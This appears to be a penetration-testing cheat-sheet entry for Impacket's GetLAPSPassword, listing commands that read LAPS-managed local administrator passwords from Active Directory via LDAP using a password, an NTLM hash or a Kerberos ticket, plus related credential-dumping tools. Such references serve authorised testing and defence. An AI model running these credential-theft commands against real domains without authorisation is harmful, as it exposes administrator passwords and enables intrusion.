Impacket GetLAPSPassword
Retrieve LAPS managed local administrator passwords from Active Directory
- Tool
- impacket-GetLAPSPassword
- Category
- Credential Attacks / gMSA & LAPS
- Platform
- linux
- Requires
- password
- Protocols
- LDAP
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
impacket-GetLAPSPassword '<domain>/<user>:<password>' -dc-ip '<ip>'
Credential variants
The same attack using a different authentication material.
NTLM Hash requires NTLM hash
impacket-GetLAPSPassword -hashes ':<hash>' -dc-ip '<ip>' '<domain>/<user>'
Kerberos Ticket requires Kerberos ticket
impacket-GetLAPSPassword -k -no-pass -dc-ip '<ip>' '<domain>/<user>'
Examples
impacket-GetLAPSPassword 'CORP.LOCAL/user:password' -dc-ip '192.168.1.100'
Tags
Related commands
- BloodyAD LAPS Password Read Read LAPS passwords from Active Directory using BloodyAD
- gMSA Password Dump Read password of Group Managed Service Account
- NetExec LAPS Module (Read ms-MCS-AdmPwd) Read LAPS-managed local admin passwords from ms-MCS-AdmPwd / msLAPS-Password attributes…
- NetExec LDAP gMSA Dump Read Group Managed Service Account passwords via NetExec
- NetExec LDAP LAPS Retrieve LAPS managed local administrator passwords from Active Directory via LDAP